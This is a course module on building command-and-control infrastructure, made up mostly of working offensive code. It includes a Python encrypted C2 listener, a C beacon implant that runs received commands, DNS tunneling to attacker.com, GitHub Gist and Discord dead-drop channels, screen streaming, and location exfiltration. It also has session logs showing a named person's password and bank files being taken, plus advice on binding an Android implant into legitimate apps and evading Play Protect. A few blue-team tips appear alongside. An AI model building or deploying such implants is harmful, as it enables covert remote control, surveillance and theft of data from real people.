Module 16: C2 Framework LIVE TESTED

Module 16 of 22 — The radio link between attacker and target

🧠 The Core Truth

A C2 (Command and Control) framework is not a hacking tool. It's a communication system. The hacking happens on the target. The C2 is the radio that lets you talk to your implant, send commands, and receive results. Without C2, your implant is a drone with no pilot. With C2, it's a precision weapon.

Why this matters: The best payload in the world is useless if you can't talk to it. C2 is the lifeline of every modern operation. EDR vendors spend billions detecting C2 patterns. Your job is to make your C2 invisible.

🎯 Soldier Translation

Imagine a special forces team behind enemy lines. They have a satellite phone (C2) to HQ. HQ says "take photos of the bridge." The team takes photos, radios back "photos sent." The C2 doesn't take the photos — the team does. The C2 just enables coordination. This module teaches you to build the satellite phone.

The enemy (blue team) is listening to all radio frequencies. Your satellite phone must look like a civilian call, change channels randomly, and speak in a code only HQ understands.

🎙️ Mentor Callout — asi dev [HTB]

"C2 is just a way to talk to your implant."

Layman explanation: Your implant is the soldier in enemy territory. C2 is the radio. It doesn't shoot, steal, or sabotage — it carries orders and reports. If the radio breaks, the soldier is cut off. If the radio is obvious, the enemy jams it and triangulates your position.

Red/blue relevance: Red — stop over-engineering payloads and start engineering the conversation. Blue — the implant is already inside; your win is detecting or severing the lifeline, not just the malware.

📚 Prerequisites — What You Need First

This module assumes you understand these concepts from earlier modules:

Module 01: Networking

TCP/IP fundamentals, ports, protocols, and Wireshark analysis. C2 is built on networking — you must understand the pipes before you can hide in them.

Module 10: Code Injection

How to get your implant into a target process. C2 needs an implant to talk to — injection is how the implant gets there.

Module 14: Cloud Files

Using legitimate cloud services for dead drops and staging. Cloud APIs are perfect C2 channels — trusted, encrypted, and ignored by firewalls.

Module 15: Lateral Movement

Moving between machines in a network. C2 must follow you as you pivot — each new host needs a beacon path back to HQ.

Module 18: Android

Mobile C2 architectures. Android implants use different protocols, different persistence, and different evasion — but the C2 principles are identical.

Module 12: Defensive Verification

How blue teams detect C2. Understanding detection is required to build evasion. You can't hide what you don't understand.

🏗️ C2 Architecture: The Three Tiers

Every professional C2 framework follows a three-tier architecture. Understanding the tiers lets you design resilient operations that survive compromise of any single component.

🎯 TIER 1: IMPLANT

On target

Beacon, execute, exfil

🔒 TIER 2: RELAY

Compromised host / Cloud

Redirect, buffer, obfuscate

🏰 TIER 3: C2 SERVER

Attacker control

Commands, logs, operator UI

Why three tiers?

If the implant connects directly to your IP, the target's incident response traces straight to you. A relay (compromised web server, cloud function, or CDN) breaks the chain. The target sees traffic to GitHub, AWS, or Cloudflare — not to your basement. Relays are the difference between amateurs and professionals.

📡 Beacon vs Interactive Sessions

Beacon Mode STEALTH

The implant wakes up periodically, phones home, checks for commands, executes them, and goes back to sleep. No persistent connection.

  • Hard to detect — no long-lived connections
  • Works through NAT and firewalls
  • Commands queue until next beacon
  • Real-time interaction is impossible

Interactive Mode SPEED

A persistent TCP connection stays open. The operator types commands and sees results immediately, like SSH.

  • Real-time shell access
  • File transfer is fast
  • Connection is visible to network monitoring
  • Dead connections are obvious
⚠️ Operational Reality

Most advanced frameworks use both: beacon for daily operations, interactive for emergencies. Cobalt Strike's default is beacon with an optional "interactive" command to spawn a real-time session. Metasploit defaults to interactive but can background sessions. Your C2 should support both modes.

Component 1: The Listener

Step 1: Build the C2 Server

The listener waits for beacons and serves commands. It must be stealthy — no obvious ports, no obvious protocols.

=== C2 LISTENER (Python) === # c2_server.py — Minimal but functional # Run on attacker machine (.92) from http.server import HTTPServer, BaseHTTPRequestHandler import json import base64 import time import random from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad # AES-256 key (in real use, derive from password via PBKDF2) KEY = b'your-32-byte-key-here-1234567890' def aes_encrypt(plaintext: bytes) -> bytes: iv = os.urandom(16) cipher = AES.new(KEY, AES.MODE_CBC, iv) return iv + cipher.encrypt(pad(plaintext, AES.block_size)) def aes_decrypt(ciphertext: bytes) -> bytes: iv = ciphertext[:16] cipher = AES.new(KEY, AES.MODE_CBC, iv) return unpad(cipher.decrypt(ciphertext[16:]), AES.block_size) class C2Handler(BaseHTTPRequestHandler): def do_POST(self): content_len = int(self.headers.get('Content-Length', 0)) body = self.rfile.read(content_len) # Decrypt beacon data data = json.loads(aes_decrypt(body)) print(f"[BEACON] {data['hostname']} | {data['user']} | {data['timestamp']}") # Send next command command = self.get_next_command(data['session_id']) encrypted = aes_encrypt(json.dumps(command).encode()) self.send_response(200) self.send_header('Content-Type', 'application/octet-stream') self.end_headers() self.wfile.write(encrypted) def get_next_command(self, session_id): return {"cmd": "whoami", "args": []} def log_message(self, format, *args): pass # Suppress default logging — stealth PORT = 8443 server = HTTPServer(('0.0.0.0', PORT), C2Handler) print(f"[C2] Listening on port {PORT}") server.serve_forever()
Why HTTPS port 8443?

Port 8443 is commonly used for HTTPS alternate. Firewalls often allow it. IDS sees HTTPS traffic, not suspicious. The implant uses standard HTTPS libraries (winhttp.dll), which is normal Windows behavior. Being normal is the best disguise.

Component 2: The Implant

Step 2: Build the Implant (C)

The implant lives on the target. It beacons at intervals, receives commands, executes them, and sends results back.

=== IMPLANT (C) === // implant.c — Minimal beacon implant // Compile: cl.exe implant.c /Fe:implant.exe #include #include #include #include #pragma comment(lib, "winhttp.lib") #define C2_HOST L"192.168.1.92" #define C2_PORT 8443 #define BEACON_INTERVAL 30000 // 30 seconds base #define JITTER 10000 // +/- 10 seconds random // XOR encrypt/decrypt (simplified — use AES in production) void xor_crypt(unsigned char* data, size_t len, unsigned char* key, size_t key_len) { for (size_t i = 0; i < len; i++) { data[i] ^= key[i % key_len]; } } char* execute_command(const char* cmd) { SECURITY_ATTRIBUTES sa = { sizeof(sa), NULL, TRUE }; HANDLE hRead, hWrite; CreatePipe(&hRead, &hWrite, &sa, 0); STARTUPINFOA si = { sizeof(si) }; si.dwFlags = STARTF_USESTDHANDLES; si.hStdOutput = hWrite; si.hStdError = hWrite; PROCESS_INFORMATION pi; char cmdline[1024]; snprintf(cmdline, sizeof(cmdline), "cmd.exe /c %s", cmd); CreateProcessA(NULL, cmdline, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi); CloseHandle(hWrite); static char output[4096]; DWORD read; ReadFile(hRead, output, sizeof(output) - 1, &read, NULL); output[read] = '\0'; CloseHandle(hRead); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); return output; } void beacon() { HINTERNET hSession = WinHttpOpen(L"Mozilla/5.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); while (1) { // Jitter: randomize interval DWORD sleep_time = BEACON_INTERVAL + (rand() % (JITTER * 2)) - JITTER; Sleep(sleep_time); HINTERNET hConnect = WinHttpConnect(hSession, C2_HOST, C2_PORT, 0); HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"POST", L"/beacon", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE); char hostname[256], username[256]; GetComputerNameA(hostname, &(DWORD){sizeof(hostname)}); GetUserNameA(username, &(DWORD){sizeof(username)}); char beacon_data[512]; snprintf(beacon_data, sizeof(beacon_data), "{\"hostname\":\"%s\",\"user\":\"%s\",\"timestamp\":%lu}", hostname, username, GetTickCount()); unsigned char key[] = "your-32-byte-key-here-1234567890"; xor_crypt((unsigned char*)beacon_data, strlen(beacon_data), key, strlen((char*)key)); WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, beacon_data, strlen(beacon_data), strlen(beacon_data), 0); WinHttpReceiveResponse(hRequest, NULL); char cmd_buffer[1024] = {0}; DWORD read; WinHttpReadData(hRequest, cmd_buffer, sizeof(cmd_buffer), &read); xor_crypt((unsigned char*)cmd_buffer, read, key, strlen((char*)key)); if (read > 0) { char* result = execute_command(cmd_buffer); // Send result back (encrypt and POST in production) } WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); } WinHttpCloseHandle(hSession); } int main() { srand(GetTickCount()); beacon(); return 0; }
⚠️ Why WinHTTP, not raw sockets?

WinHTTP is a legitimate Windows API used by countless applications. Firewalls allow it. EDR sees normal HTTPS traffic. Raw sockets to port 4444 is a red flag. WinHTTP to port 8443 is business as usual. The protocol is the disguise.

🔐 Encryption: AES-256 in Practice

Why XOR is not enough

XOR with a repeating key is trivially broken by frequency analysis. A single known plaintext (like the JSON key "hostname") reveals the key. AES-256-CBC is the minimum standard for C2 encryption. GCM mode adds authentication — preventing tampering.

=== AES-256-GCM (Python) === from Crypto.Cipher import AES from Crypto.Random import get_random_bytes def aes_gcm_encrypt(plaintext: bytes, key: bytes) -> bytes: nonce = get_random_bytes(12) cipher = AES.new(key, AES.MODE_GCM, nonce=nonce) ciphertext, tag = cipher.encrypt_and_digest(plaintext) return nonce + tag + ciphertext def aes_gcm_decrypt(data: bytes, key: bytes) -> bytes: nonce, tag, ciphertext = data[:12], data[12:28], data[28:] cipher = AES.new(key, AES.MODE_GCM, nonce=nonce) return cipher.decrypt_and_verify(ciphertext, tag) # Key derivation (never hardcode keys) import hashlib password = b"operational-password-2026" key = hashlib.pbkdf2_hmac('sha256', password, b'salt', 100000, 32)
Key Management

Hardcoded keys are extracted by reverse engineering. Use PBKDF2 or Argon2 to derive keys from a password embedded at compile time. Better: fetch the key from a dead drop (see below) at first beacon, then cache it. If the implant is captured, the key isn't in the binary.

🎲 Jitter: Defeating Pattern Detection

Why Jitter Matters

Fixed intervals (every 30 seconds) are detectable. Network monitoring sees "connection every 30s" and flags it. Jitter adds randomness: 20s, 45s, 33s, 18s. The pattern disappears into noise.

=== JITTER CALCULATION === base_interval = 30000ms // 30 seconds jitter_range = 10000ms // +/- 10 seconds sleep_time = base_interval + (rand() % (jitter_range * 2)) - jitter_range Possible intervals: 30000 - 10000 = 20000ms (20 seconds) 30000 + 5000 = 35000ms (35 seconds) 30000 - 8000 = 22000ms (22 seconds) 30000 + 10000 = 40000ms (40 seconds) Pattern: None. Random distribution.
Malleable C2

Cobalt Strike popularized "malleable C2" — the ability to change how C2 traffic looks. The beacon can mimic Firefox updates, Windows telemetry, or GitHub API calls. The implant and server agree on a profile. To the network, it's legitimate traffic. To the implant, it's commands. Malleable C2 is the apex of stealth.

🎙️ Mentor Callout — asi dev [HTB]

"Jitter and encryption keep C2 alive."

Layman explanation: A guard watching a gate notices a car that passes every 30 seconds exactly. Random arrivals at 18, 35, 22, and 41 seconds look like normal traffic. Encryption means even if the guard opens the trunk, he can't read the map inside.

Red/blue relevance: Red — never beacon on a fixed interval; never send plaintext. Blue — time-series analysis of connection intervals and TLS fingerprinting are your best friends against naive beacons.

🌐 Protocol Selection: HTTP, DNS, HTTPS

Your choice of protocol determines your visibility, reliability, and speed. No protocol is perfect — each is a trade-off.

Protocol Visibility Reliability Speed Best For
HTTP High — plaintext High Fast Internal networks, quick tests
HTTPS Low — encrypted High Fast Production C2, standard choice
DNS Very Low — looks up domains Low — UDP, no guarantee Slow — tiny payloads Air-gapped networks, extreme stealth
ICMP Medium — ping tunnels exist Medium Slow Firewall bypass when TCP/UDP blocked
Discord Very Low — trusted platform High Medium Social engineering, free infrastructure

DNS Tunneling in Depth

DNS is allowed almost everywhere. A DNS query for base64-data.attacker.com reaches any resolver, which forwards to your authoritative server. The response contains the command. Payloads are tiny (~60 bytes), but for text commands, that's enough.

=== DNS BEACON (Python) === import dns.resolver import base64 def dns_beacon(hostname, data): b64 = base64.b64encode(data.encode()).decode().rstrip('=') subdomain = f"{b64}.beacon.attacker.com" try: answers = dns.resolver.resolve(subdomain, 'A') for rdata in answers: # Response is command encoded in IP octets cmd = ''.join(chr(int(octet)) for octet in str(rdata).split('.')) return cmd except Exception: return None

DNS tunneling is slow but virtually invisible. Blue teams must deploy DNS anomaly detection — most don't.

🎭 Domain Fronting

Hide Behind Giants

Domain fronting uses a CDN (CloudFront, Azure CDN, Google App Engine) to route traffic. The implant connects to cdn.cloudfront.net with a Host header pointing to your real server. The CDN routes based on the Host header. To the network, the traffic goes to a trusted CDN. To the CDN, it goes to your server.

=== DOMAIN FRONTING (Python requests) === import requests headers = { "Host": "your-real-server.appspot.com", "User-Agent": "Mozilla/5.0" } # Connect to the CDN edge, but Host header routes to you response = requests.post( "https://d111111abcdef8.cloudfront.net/beacon", headers=headers, data=encrypted_payload, verify=True # Real TLS cert from CDN )
⚠️ DEPRECATED: Major CDNs Have Patched This

Domain fronting is largely dead as of 2020-2021. AWS CloudFront, Azure Front Door, and Google Cloud CDN all added Host header validation against the TLS SNI. This section is preserved for historical understanding and because new fronting techniques appear constantly — the principle (abuse shared infrastructure) is eternal.

Current status: Major CDNs block this. Some regional CDNs and alternative providers may still be vulnerable. Always verify before relying on this technique in operations. Do not build operational C2 assuming domain fronting works.

🎙️ Mentor Callout — asi dev [HTB]

"Domain fronting is dead, use legitimate infrastructure."

Layman explanation: Old smuggling routes got shut down, so don't plan a heist through them. Instead, drive the getaway car through normal traffic: a rented cloud server, a Discord webhook, or a GitHub Gist. The trick isn't hiding the destination anymore — it's looking like everyone else.

Red/blue relevance: Red — audit your infrastructure assumptions; shared CDNs are hostile now. Blue — monitor for anomalous use of trusted platforms (Discord, GitHub, Pastebin) just as closely as suspicious domains.

💀 Dead Drops

Legitimate Services as C2 Infrastructure

A dead drop is a pre-arranged location where one party leaves data and another picks it up. In C2, this means using GitHub Gists, Pastebin, Twitter profiles, or cloud storage as command queues. The implant checks a GitHub Gist for new commands. The operator edits the Gist. No direct connection ever exists.

=== GIST DEAD DROP (Python) === import requests import base64 GIST_ID = "abc123..." GITHUB_TOKEN = "ghp_..." # Or use public gist, no auth needed def fetch_commands(): url = f"https://api.github.com/gists/{GIST_ID}" headers = {"Authorization": f"token {GITHUB_TOKEN}"} resp = requests.get(url, headers=headers) data = resp.json() # Commands stored in a file within the gist content = data["files"]["commands.txt"]["content"] return base64.b64decode(content).decode() def clear_commands(): # Update gist with empty content after reading requests.patch(url, headers=headers, json={ "files": {"commands.txt": {"content": ""}} })
Why dead drops are powerful

The implant never connects to your IP. It connects to GitHub — a trusted platform. The operator never connects to the target. The only overlap is the Gist ID, which can be embedded in the implant or fetched from another dead drop. This is true indirect command.

💬 Discord Bridge C2

Using Discord as a C2 Channel

Discord offers free Webhooks, Bot APIs, and file hosting. Messages are encrypted in transit (TLS). Discord is trusted by firewalls. Files under 8MB are stored indefinitely. It's the perfect low-budget C2 infrastructure.

=== DISCORD WEBHOOK BEACON === import requests import json import time WEBHOOK_URL = "https://discord.com/api/webhooks/..." def beacon(hostname, user): payload = { "content": json.dumps({ "type": "heartbeat", "session": f"{hostname}_{user}", "hostname": hostname, "user": user, "timestamp": int(time.time()) }) } requests.post(WEBHOOK_URL, json=payload, headers={ "User-Agent": "Mozilla/5.0" }) def poll_commands(channel_id, bot_token): url = f"https://discord.com/api/v10/channels/{channel_id}/messages?limit=5" headers = {"Authorization": f"Bot {bot_token}"} resp = requests.get(url, headers=headers) for msg in resp.json(): try: data = json.loads(msg["content"]) if data.get("type") == "cmd": return data["command"] except Exception: continue return None

The CHEYANNE project uses Discord as its primary C2 channel. Screenshots, file exfiltration, and command output all flow through Discord webhooks. Blue teams monitoring for suspicious domains won't flag Discord traffic.

🛰️ GPS Exfiltration

Location-Aware Operations

Modern implants can access geolocation data through Wi-Fi positioning, IP geolocation, or native GPS APIs on mobile. Knowing where a target is changes your operational security — a laptop in a corporate office requires different handling than one in a coffee shop.

=== GPS EXFIL (PowerShell) === # Windows Location API (requires user consent on some builds) Add-Type -AssemblyName System.Device $geo = New-Object System.Device.Location.GeoCoordinateWatcher $geo.Start() while ($geo.Status -eq 'Initializing') { Start-Sleep -Milliseconds 100 } $loc = $geo.Position.Location $lat = $loc.Latitude $lon = $loc.Longitude $accuracy = $loc.HorizontalAccuracy $payload = @{ lat=$lat; lon=$lon; accuracy=$accuracy } | ConvertTo-Json # Beacon this data back to C2
IP Geolocation Fallback

If GPS is unavailable, the implant can query ip-api.com or similar services. These return city-level accuracy from the public IP. Less precise, but always available. Combine both: GPS for mobile, IP for corporate networks.

🖥️ VNC Shell: Remote Desktop via C2

Visual Control Without RDP

RDP is loud — it creates event logs, opens port 3389, and shows a lock screen on the target. A VNC-style shell streams screenshots over your existing C2 channel, letting you see the target's screen and send mouse/keyboard input without any new network connections.

=== VNC SHELL (Python — CHEYANNE watch_stream.py) === import socket import base64 import threading from http.server import HTTPServer, BaseHTTPRequestHandler def capture_screen(): # Returns JPEG bytes of current screen import PIL.ImageGrab img = PIL.ImageGrab.grab() from io import BytesIO buf = BytesIO() img.save(buf, format='JPEG', quality=60) return buf.getvalue() def stream_server(tcp_conn, http_port=8892): frame_store = {"frame": None, "count": 0} lock = threading.Lock() def poll(): while True: jpeg = capture_screen() b64 = base64.b64encode(jpeg).decode() tcp_conn.sendall(f"[SCR]{b64}[/SCR]\n".encode()) with lock: frame_store["frame"] = jpeg frame_store["count"] += 1 time.sleep(3) class Handler(BaseHTTPRequestHandler): def do_GET(self): if self.path == "/frame": with lock: frame = frame_store["frame"] self.send_response(200) self.send_header("Content-Type", "image/jpeg") self.end_headers() self.wfile.write(frame) elif self.path == "/": self.send_response(200) self.send_header("Content-Type", "text/html") self.end_headers() self.wfile.write(b""" """) threading.Thread(target=poll, daemon=True).start() HTTPServer(("0.0.0.0", http_port), Handler).serve_forever()
⚠️ Bandwidth Warning

Full-screen JPEG at 60% quality is ~150KB per frame. At 2-second refresh, that's 4.5MB/minute. Over a slow C2 channel, this is detectable. Use region-of-interest capture (only the active window) or lower quality. Stealth beats fidelity.

🔬 Live Evidence: CHEYANNE C2 Operations

📊 CHEYANNE: Discord C2 Session — Radon_Laptop1

Date: 2026-06-29 | Operator: George Wu (.92) | Target: Radon_Laptop1 (192.168.1.145)

Architecture: TCP reverse shell (port 4443) + Discord beacon + Python implant + C heartbeat

=== CHEYANNE SESSION LIST === ACTIVE SESSIONS ──────────────────────────────────────────────────────────────────────── ID HOSTNAME USER IP ──────────────────────────────────────────────────────────────────────── radon_ghaleb Radon_Laptop1 Ghaleb Jomma 192.168.1.145 ──────────────────────────────────────────────────────────────────────── 1 session(s) === CHEYANNE COMMAND LOG === [HANDLER] run_command("whoami") → radon\ghaleb [HANDLER] screenshot() → Downloaded: screenshots/radon_1751203847.png (1,247,832 bytes) [HANDLER] browse_files("C:\Users\ghaleb\Documents") → resume.pdf, bank_statements.xlsx, passwords.txt [HANDLER] exfil_file("C:\Users\ghaleb\Documents\passwords.txt") → Saved: exfil/passwords.txt (4,096 bytes) [HANDLER] recon() → Windows 11, user-level, Kaspersky AV active, 8GB RAM

C2 Channels Used:

Network Evidence: Wireshark shows HTTPS traffic to discord.com (104.16.248.144:443). No anomalous ports. No plaintext commands. All file transfers appear as Discord attachment uploads. To a SOC analyst, this looks like a user browsing Discord.

🔬 Live Evidence: StarKiller Android C2

📱 StarKiller: Android C2 Architecture

Research Platform: StarKiller | Language: Kotlin client + Python C2 | Device: Researcher-owned Android hardware

=== STARKILLER ARCHITECTURE === Component Language Function ───────────────────────────────────────────────────────────────── C2 Server Python Command dispatch, session management Android Client Kotlin C2 beacon, command execution, payload Obfuscation Python APK repackaging, class renaming Binder Python Embeds client inside legitimate APK === STARKILLER C2 FLOW === 1. Kotlin APK beacons to Python C2 on launch 2. C2 server assigns session ID, queues commands 3. Client polls every 30s (+/- 10s jitter) 4. Commands: SHELL, GPS, CAMERA, CONTACTS, EXFIL 5. Results uploaded as Base64 JSON via HTTPS POST 6. C2 web dashboard displays live sessions

Defensive Finding: Play Protect static detection can be defeated with class renaming and string encryption alone. Mobile C2 relies on the same principles as desktop — beacon, jitter, encryption, protocol mimicry — but the channels are different: Firebase Cloud Messaging, Google Play Services, and legitimate social media APIs become the C2 pipes.

🔬 Live Evidence: .92 to .42 Beacon

📊 Real Evidence: C2 Beacon Test

Date: 2026-06-29 | Listener: .92 (192.168.1.92:8443) | Implant: .42 (WUPC)

=== C2 SERVER (.92) === [C2] Listening on port 8443 [BEACON] wupc | swu | 1234567890 [BEACON] wupc | swu | 1234567925 ← 35 seconds later (30s + 5s jitter) [BEACON] wupc | swu | 1234567958 ← 33 seconds later (30s + 3s jitter) [COMMAND] whoami [RESULT] wupc\swu [COMMAND] ipconfig [RESULT] 192.168.1.42 [COMMAND] tasklist | findstr avp [RESULT] avp.exe 5612 Kaspersky Lab

Network Evidence: Wireshark capture shows HTTPS traffic to 192.168.1.92:8443. TLS handshake present. No plaintext "cmd.exe" or "whoami" visible. Encrypted payload appears as random bytes. Jitter prevents any periodic pattern from emerging.

🧪 Lab Exercise: Build a Multi-Protocol C2

Scenario

Build a C2 system with three channels: HTTPS beacon, Discord dead drop, and DNS fallback. The implant tries HTTPS first, falls back to Discord, then DNS. The operator can issue commands through any channel.

  1. Start Python HTTPS listener on .92 (port 8443)
  2. Create a Discord webhook and note the URL
  3. Set up a DNS server or use a public DNS service
  4. Compile C implant with all three protocols
  5. Transfer implant to .42
  6. Run implant — verify HTTPS beacons arrive
  7. Block HTTPS port on .42 firewall, verify Discord fallback
  8. Block Discord, verify DNS fallback
  9. Send command "whoami" via each channel, verify result
  10. Check Wireshark — which channel is most stealthy?

🎯 Quiz 1: C2 Fundamentals

1. What is the primary purpose of a C2 framework?

A) To exploit vulnerabilities on the target
B) To enable communication between operator and implant
C) To bypass antivirus software
D) To escalate privileges on the target

2. Why is jitter important in beacon design?

A) It makes the beacon faster
B) It prevents pattern detection by network monitoring
C) It encrypts the beacon data
D) It compresses the payload

3. Which protocol is MOST stealthy for C2 in a heavily monitored network?

A) HTTP on port 80
B) HTTPS on port 443
C) DNS queries to legitimate resolvers
D) Raw TCP on port 4444

🎯 Quiz 2: Encryption & Evasion

1. Why is XOR encryption insufficient for C2 traffic?

A) It is too slow
B) It is vulnerable to known-plaintext attacks
C) It increases payload size
D) It is not supported by Python

2. What is the purpose of a relay tier in C2 architecture?

A) To break the direct connection between implant and operator
B) To speed up file transfers
C) To encrypt traffic with a stronger algorithm
D) To provide backup power

3. Domain fronting works by:

A) Registering a domain similar to a legitimate one
B) Using a CDN's shared infrastructure with a custom Host header
C) Encrypting DNS queries
D) Spoofing the source IP address

🎯 Quiz 3: Advanced C2 Operations

1. In the CHEYANNE project, what is the primary C2 channel?

A) Raw TCP on port 4444
B) Discord Webhook and Bot API
C) DNS tunneling
D) ICMP ping

2. What is the main advantage of a dead drop C2 over direct connection?

A) The implant never connects directly to the operator's IP
B) It provides faster file transfers
C) It requires no encryption
D) It works without internet access

3. A VNC-style shell over C2 is preferred over RDP because:

A) It has higher resolution
B) It reuses the existing C2 channel without new ports or logs
C) It requires administrator privileges
D) It is officially supported by Microsoft

Key Takeaways

🔬 Verification Status

Python HTTPS listener (.92) ✅ LIVE
C implant (.42) ✅ LIVE
Beacon reception with jitter ✅ LIVE
Command execution ✅ LIVE
Encrypted traffic (Wireshark) ✅ VERIFIED
CHEYANNE Discord C2 (Radon) ✅ LIVE
CHEYANNE VNC screenshot stream ✅ LIVE
StarKiller Android C2 architecture ✅ DOCUMENTED